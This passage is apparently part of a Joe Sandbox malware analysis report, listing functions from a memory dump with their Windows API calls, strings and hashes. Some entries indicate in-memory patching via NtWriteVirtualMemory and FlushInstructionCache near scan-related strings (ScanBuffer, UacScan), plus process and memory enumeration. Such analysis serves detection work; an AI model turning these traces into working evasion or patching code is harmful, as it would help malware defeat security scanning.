Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
Instruction ID: 52ec3ed92abf5c86fe2e09f386c8718117f591d01557897fc6ce4818e05abfed
Opcode Fuzzy Hash: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
Instruction Fuzzy Hash: 5FE017F82152056EEF186F25DD40B3B373AEFC2741BE484E9A940CA164DB3CD840AE78

Function 02B270DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02B273DA

Strings

H, xrefs: 02B27191

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: d562f8fbd8a03faffb50b50b35ad311aae92571410b87af1bc3522e7f2b6c8fc
Instruction ID: 5e3f49abd19516fc57f33f9efe1a41b5da8abe4a2bbc03da43a24512de6c3529
Opcode Fuzzy Hash: d562f8fbd8a03faffb50b50b35ad311aae92571410b87af1bc3522e7f2b6c8fc
Instruction Fuzzy Hash: 8BB1E474A017189FDB14CF99D580A9DFBF2FF89314F2481A9E849AB320DB30A849DF54

Function 02B1E760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02B1E781

Part of subcall function 02B1E364: VariantClear.OLEAUT32(?), ref: 02B1E373

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: f7f73fb69b99b8f1f15fd7895678d08e9ea309e8c690b8822045bf0443fdd3e2
Instruction ID: 31705c05396b3093132a35808ecb0407729877560101d150f040d0c1827d8464
Opcode Fuzzy Hash: f7f73fb69b99b8f1f15fd7895678d08e9ea309e8c690b8822045bf0443fdd3e2
Instruction Fuzzy Hash: C111C8307102108BE735AF29C8C8A6677DBEF8575079084E6ED4B8F215DB30EC41DB62

Function 02B1E3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02B1E43C

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 9185018459b088728cad0744549f11178f8f9b77ae34eac6703455c8184e4730
Instruction ID: aac2e1a7479b28b3d4be163968fb7e115db2a87ac9fdc6a70b521e5dc32b1f5b
Opcode Fuzzy Hash: 9185018459b088728cad0744549f11178f8f9b77ae34eac6703455c8184e4730
Instruction Fuzzy Hash: 38317171A00209AFDB14DFA8D886AAE77F8EB0C304F8844E5FD09D7250D734EA50CBA5

Function 02B289D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

Part of subcall function 02B28338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B283C2), ref: 02B283A4

FreeLibrary.KERNEL32(75380000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,75380000,00000000,00000000), ref: 02B28AAA

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushFreeInstructionLibraryMemoryVirtualWrite
String ID:
API String ID: 1478290883-0
Opcode ID: 566467167035598960a9aa4e6fea7b2745b7a3bb42487541fa31e889ffbab21b
Instruction ID: 401c5546b03e7ac287ec388b66642f19348bdca534cc7cf9fffcb5614c4529ea
Opcode Fuzzy Hash: 566467167035598960a9aa4e6fea7b2745b7a3bb42487541fa31e889ffbab21b
Instruction Fuzzy Hash: C02157F0694310AFEB00F7B4DD02B9DB7EADB05740F9044E0F608E7190DE749905AA1D

Function 02B26D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02B26DB9,?,?,?,00000000), ref: 02B26D99

Part of subcall function 02B14C60: SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: a8ba14f052f68dc6a97f5c029b4808ed4921915a761b52c31bfeaf625329ede6
Instruction ID: 4a4b92f9f1f1dedc7eb8ea25957ab6f61ee95683d80a25ff4dff7ca629b22b25
Opcode Fuzzy Hash: a8ba14f052f68dc6a97f5c029b4808ed4921915a761b52c31bfeaf625329ede6
Instruction Fuzzy Hash: 4CE0ED7520031CBBE711EB62DC42D8E7BBDDB8A750B9104F1F804A3610EA31AE048860

Function 02B15868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B15886

Part of subcall function 02B15ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B10000,02B3E790), ref: 02B15AE8
Part of subcall function 02B15ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B06
Part of subcall function 02B15ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B24
Part of subcall function 02B15ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B15B42
Part of subcall function 02B15ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B15B8B
Part of subcall function 02B15ACC: RegQueryValueExA.ADVAPI32(?,02B15D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001), ref: 02B15BA9
Part of subcall function 02B15ACC: RegCloseKey.ADVAPI32(?,02B15BD8,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B15BCB

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction ID: 7c9d9dffa2493a11e4723fb4feeb4da078b4d5d2d69a9d08b4af680170e4844a
Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction Fuzzy Hash: EBE09271A003148FCB20DE9CC8C0B4633D8AF48750F840AA1ED68CF346D7B0D9608BD0

Function 02B17DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02B17DF4

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: d311b245ac91300b6e3f49358a685782d7e933ed16b4da00ed8024326a8731f9
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: 16D05BB63091507AE224965A5D44EA75BDCCFC6770F50067DF558C7180D7208C01C671

Function 02B17E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02B3356F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,Initialize), ref: 02B17E8B

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
Instruction ID: 632a84800eedb7547e335e22df8e8bc69168021fc75e2a83c2b73d2cf3e45fdf
Opcode Fuzzy Hash: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
Instruction Fuzzy Hash: 2DC08CF32112010E1E60A9BC1CC425963CD8B842347E01EE1E438CB2C9DB1698663820

Function 02B17E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
Instruction ID: d7cffd8e024f7b8f43385001079872a4dbc1099a3c00f1deb60213e392578619
Opcode Fuzzy Hash: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
Instruction Fuzzy Hash: 16C08CE22012000A5A5069BC2CC428952CE8B042383F40AE1A438C72E6DB2298A63850

Function 02B14C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02B14C8B

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction ID: b8adcb66bebd1b3e48b5fa80b4c996f08707cfa31f9fb7caba0fef6273ec1ac8
Opcode Fuzzy Hash: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction Fuzzy Hash: 55C012A26102305BEB219AA9ACC0B5262ECDB093A9B9800E1A908DB254E36498008AA0

Function 02B3C35C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02B3C350,00000000,00000001), ref: 02B3C36C

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: a137e6f06a96d74b7f3f0bdf43336006e5c015fd4fa38c76e488d3fdd41733e3
Instruction ID: 39911893dd863e4479374ed1cf27a7928856dffec38f1e797a8c7f914e773a37
Opcode Fuzzy Hash: a137e6f06a96d74b7f3f0bdf43336006e5c015fd4fa38c76e488d3fdd41733e3
Instruction Fuzzy Hash: CEC092F27D03003AFA1196A55CC2F732A9DD705B14F608592B704FE2C1D2F36C104E68

Function 02B14C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02B14C3F

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction ID: 80e7b4fa2771d971173456c0e5e36c09b9ea44270529d425196c900267da826c
Opcode Fuzzy Hash: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction Fuzzy Hash: FDB0127421C24116FE5C22620F00773009C8B41386FC800D19F18C80D0FB04C0018835

Function 02B14C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02B14C57

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
Instruction ID: 7fab6391d8bb3388698cf6e1a0aeee282a6f682a804cd6c57ff98dd133c6f0ed
Opcode Fuzzy Hash: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
Instruction Fuzzy Hash: A1A011A82002020A8A0A222C002002A2232AFC23003C8C0E80A000A0008A2A8000A8A0

Function 02B115CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02B11A03,?,02B12000), ref: 02B115E2

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: add1d25e9b06a38976e9739ab60de12cb0c8c68fa94a6485f583b1dc406359c0
Instruction ID: 03fe3878f1d59a8ade3a4162fc87491624ccb50e7479ac0ca99848020e6f1941
Opcode Fuzzy Hash: add1d25e9b06a38976e9739ab60de12cb0c8c68fa94a6485f583b1dc406359c0
Instruction Fuzzy Hash: AEF04FF0B513004FDB09CFB99A503017BF2E78A388F508579D609DB384E77684028B00

Function 02B11682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02B12000), ref: 02B116A4

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e687c5fe1affb83ddd0f8a8948e26b7330121b7f1f5df0ed158d2557d344ef44
Instruction ID: 2fea4167986781ebe706da96ff5ffa9d6f742aa5bbf9454daf73e14205420667
Opcode Fuzzy Hash: e687c5fe1affb83ddd0f8a8948e26b7330121b7f1f5df0ed158d2557d344ef44
Instruction Fuzzy Hash: E2F0BEB2B407956BDB109F6E9C80B82BB98FB003A4F454179FA4CDB340D776A8108BD4

Function 02B116E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02B11FE4), ref: 02B11704

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 97f519263cb5df7011c1af165be911f97bbda741756247ca3623780b237330ed
Instruction ID: 86618f5e5291e47f99156ca1a41058ff12f6aa9fbee49080096b6405d6bf4e10
Opcode Fuzzy Hash: 97f519263cb5df7011c1af165be911f97bbda741756247ca3623780b237330ed
Instruction Fuzzy Hash: C5E0C2B5320301AFEB105F7E5D80B12BBDCEF48664FA444BAF749DB381D2A0E8108B64

Non-executed Functions

Function 02B2AB1C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02B2ADA3,?,?,02B2AE35,00000000,02B2AF11), ref: 02B2AB30
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02B2AB48
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02B2AB5A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02B2AB6C
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02B2AB7E
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02B2AB90
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02B2ABA2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02B2ABB4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02B2ABC6
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02B2ABD8
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02B2ABEA
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02B2ABFC
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02B2AC0E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02B2AC20
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02B2AC32
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02B2AC44
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02B2AC56

Strings

Process32First, xrefs: 02B2ABAC
Heap32ListNext, xrefs: 02B2AB64
kernel32.dll, xrefs: 02B2AB2B
Heap32ListFirst, xrefs: 02B2AB52
Heap32First, xrefs: 02B2AB76
Process32Next, xrefs: 02B2ABBE
CreateToolhelp32Snapshot, xrefs: 02B2AB40
Module32Next, xrefs: 02B2AC2A
Module32FirstW, xrefs: 02B2AC3C
Process32NextW, xrefs: 02B2ABE2
Toolhelp32ReadProcessMemory, xrefs: 02B2AB9A
Module32First, xrefs: 02B2AC18
Module32NextW, xrefs: 02B2AC4E
Thread32Next, xrefs: 02B2AC06
Heap32Next, xrefs: 02B2AB88
Thread32First, xrefs: 02B2ABF4
Process32FirstW, xrefs: 02B2ABD0

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
